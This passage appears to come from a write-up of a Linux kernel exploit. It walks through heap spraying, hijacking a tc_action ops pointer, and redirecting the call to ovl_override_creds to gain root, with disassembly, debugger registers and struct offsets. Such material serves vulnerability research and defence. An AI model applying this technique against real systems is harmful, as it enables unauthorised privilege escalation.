&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;WRITE_ONCE&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;rsclp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;tails&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span&gt;RCU_NEXT_TAIL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, &amp;amp;&lt;/span&gt;&lt;span&gt;rhp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;rsclp-&amp;gt;tails[RCU_NEXT_TAIL] = &amp;amp;rhp-&amp;gt;next&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rsclp-&amp;gt;tails[RCU_NEXT_TAIL]&lt;/code&gt; points to the &lt;code&gt;next&lt;/code&gt; pointer of the last element in the list.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;*rsclp-&amp;gt;tails[RCU_NEXT_TAIL]&lt;/code&gt; is the last element’s &lt;code&gt;next&lt;/code&gt; pointer.&lt;/p&gt;
&lt;p&gt;While spraying &lt;code&gt;struct user_key_payload&lt;/code&gt;, a large number of them are added to the list, most likely contiguously.&lt;/p&gt;
&lt;p&gt;That means &lt;code&gt;struct callback_head *next&lt;/code&gt; most likely points at another sprayed &lt;code&gt;struct user_key_payload&lt;/code&gt; — i.e. &lt;code&gt;ops&lt;/code&gt; points at attacker-controlled memory.&lt;/p&gt;
&lt;noscript&gt;
    &lt;strong&gt;⚠️ JavaScript is required to render the diagram.&lt;/strong&gt;
&lt;/noscript&gt;
&lt;pre class=&quot;mermaid invertible-image&quot;&gt;
flowchart LR
	subgraph A[&quot;struct tc_action&quot;]
		direction TB
		A1@{ shape: text, label: &quot;+0x00 ops&quot; }
	end

	subgraph B[&quot;struct user_key_payload&quot;]
		direction TB
		subgraph B1[&quot;struct callback_head&quot;]
			direction TB
			B2@{ shape: text, label: &quot;+0x00 next&quot; }
		end
	end

	subgraph C[&quot;struct user_key_payload&quot;]
		direction TB
		subgraph C1[&quot;struct callback_head&quot;]
			direction TB
			C2@{ shape: text, label: &quot;+0x00 next&quot; }
		end
	end

	A1 --&gt;|same slab slot| B2
	B2 --&gt;|another slab slot| C2

	style A1 fill:#00b86e
	style B2 fill:#00b86e
&lt;/pre&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;This requires the &lt;code&gt;Reclaim Object&lt;/code&gt; and another sprayed &lt;code&gt;struct user_key_payload&lt;/code&gt; to have been added to the list one after the other before &lt;code&gt;act-&amp;gt;ops&lt;/code&gt; is dereferenced.&lt;/p&gt;
&lt;p&gt;This likely holds, but it does reduce exploit reliability.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C tc_action_ops vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; tc_action_ops &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	size_t&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;get_fill_size&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tc_action  &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt; /*   112     8 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;*get_fill_size()&lt;/code&gt; sits at offset 112; &lt;code&gt;112 - 24 = 88&lt;/code&gt;, overlapping the &lt;code&gt;Reclaim Object&lt;/code&gt;’s &lt;code&gt;data[88]&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;root&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#root&quot; aria-label=&quot;Anchor link for: root&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
root&lt;/h3&gt;
&lt;p&gt;With RIP controlled, the next step is local privilege escalation. The kernel version is v7.1-rc5, and no usable stack pivot gadget was found for this build.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;asm&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff818c8250&lt;/span&gt;&lt;span&gt;]&amp;gt; pD &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;94&lt;/span&gt;&lt;span&gt; @ sym.tcf_action_fill_size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;╭ size_t sym.tcf_action_fill_size(const struct tc_action *act)&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│       ╭─&amp;lt; &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff821085e5&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      je&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;      0xffffffff821085f2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│       │   &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff821085e7&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      movq&lt;/span&gt;&lt;span&gt;    %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;r12&lt;/span&gt;&lt;span&gt;, %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rdi&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;                 ; act_api.c:473 return act-&amp;gt;ops-&amp;gt;get_fill_size(act) + sz;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│       │   &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff821085ea&lt;/span&gt;&lt;span&gt;      callq   loc.__pi___x86_indirect_thunk_rax&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        │   &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff821085ef&lt;/span&gt;&lt;span&gt;      addq    %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rax&lt;/span&gt;&lt;span&gt;, %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rbx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;│       ╰─&amp;gt; &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffffffff821085f2&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;      movq&lt;/span&gt;&lt;span&gt;    %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rbx&lt;/span&gt;&lt;span&gt;, %&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;rax&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;                 ; act_api.c:475 }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;0xffffffff821085ea&lt;/code&gt; calls &lt;code&gt;act-&amp;gt;ops-&amp;gt;get_fill_size()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Set a breakpoint at &lt;code&gt;0xffffffff821085ea&lt;/code&gt; to observe the registers at that point.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;asm&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;────────────────────────────────────────────────────────────[ REGISTERS / show-&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;flags&lt;/span&gt;&lt;span&gt; off / show-compact-regs off ]────────────────────────────────────────────────────────────&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-33&quot;&gt; RDI  0xffff888003fc8600&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc9d00&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc9c00&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc8c00&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc8b00&lt;/span&gt;&lt;span&gt; ◂— ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-33&quot;&gt; R12  0xffff888003fc8600&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc9d00&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc9c00&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc8c00&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc8b00&lt;/span&gt;&lt;span&gt; ◂— ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-33&quot;&gt; R15  0xffff888003fc8600&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc9d00&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc9c00&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc8c00&lt;/span&gt;&lt;span&gt; —▸ &lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;0xffff888003fc8b00&lt;/span&gt;&lt;span&gt; ◂— ...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;%rdi&lt;/code&gt;, &lt;code&gt;%r12&lt;/code&gt;, and &lt;code&gt;%r15&lt;/code&gt; all point at the &lt;code&gt;Reclaim Object&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The initial idea was to hijack RIP to &lt;code&gt;commit_creds()&lt;/code&gt; with the &lt;code&gt;Reclaim Object&lt;/code&gt; as the &lt;code&gt;struct cred *new&lt;/code&gt; argument.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C cred vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; cred &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-1&quot;&gt;	atomic_long_t&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; usage&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;                /*     0     8 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But &lt;code&gt;usage&lt;/code&gt; overlaps &lt;code&gt;struct callback_head *next;&lt;/code&gt; — the &lt;code&gt;ops&lt;/code&gt; pointer — which points to a heap address, and heap addresses always start with 0xffff.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/tools/include/linux/types.h#L83&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-15&quot;&gt;typedef&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	long&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; counter&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-1&quot;&gt; atomic_long_t&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/kernel/cred.c#L377&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; commit_creds&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; cred &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	BUG_ON&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;atomic_long_read&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;usage&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 1&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;usage&lt;/code&gt; is a signed type, so a value starting with 0xffff is interpreted as negative; the runtime assertion in &lt;code&gt;commit_creds()&lt;/code&gt; then fails and the kernel panics.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/fs/overlayfs/util.c#L65&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; cred &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;ovl_override_creds&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; super_block &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; ovl_fs &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;ofs &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; OVL_FS&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	return&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; override_creds&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ofs&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;creator_cred&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/init/init_task.c#L96&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; task_struct init_task &lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;L1_CACHE_BYTES&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	RCU_POINTER_INITIALIZER&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;cred&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, &amp;amp;&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;init_cred&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;EXPORT_SYMBOL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;init_task&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The final choice was to hijack RIP to &lt;code&gt;ovl_override_creds()&lt;/code&gt; and use &lt;code&gt;init_task.cred&lt;/code&gt; for privilege escalation. This function calls &lt;code&gt;override_creds()&lt;/code&gt; to replace the current CPU task’s &lt;code&gt;cred&lt;/code&gt; with &lt;code&gt;ofs-&amp;gt;creator_cred&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/fs/overlayfs/ovl_entry.h#L115&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static inline&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; ovl_fs &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;OVL_FS&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; super_block &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;IS_ENABLED&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;CONFIG_OVERLAY_FS_DEBUG&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;		WARN_ON_ONCE&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;s_type&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; !=&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;amp;&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;ovl_fs_type&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	return&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; ovl_fs &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;sb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;s_fs_info&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ofs&lt;/code&gt; is &lt;code&gt;sb-&amp;gt;s_fs_info&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C super_block vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; super_block &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	void&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; *&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;                     s_fs_info&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;            /*   848     8 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
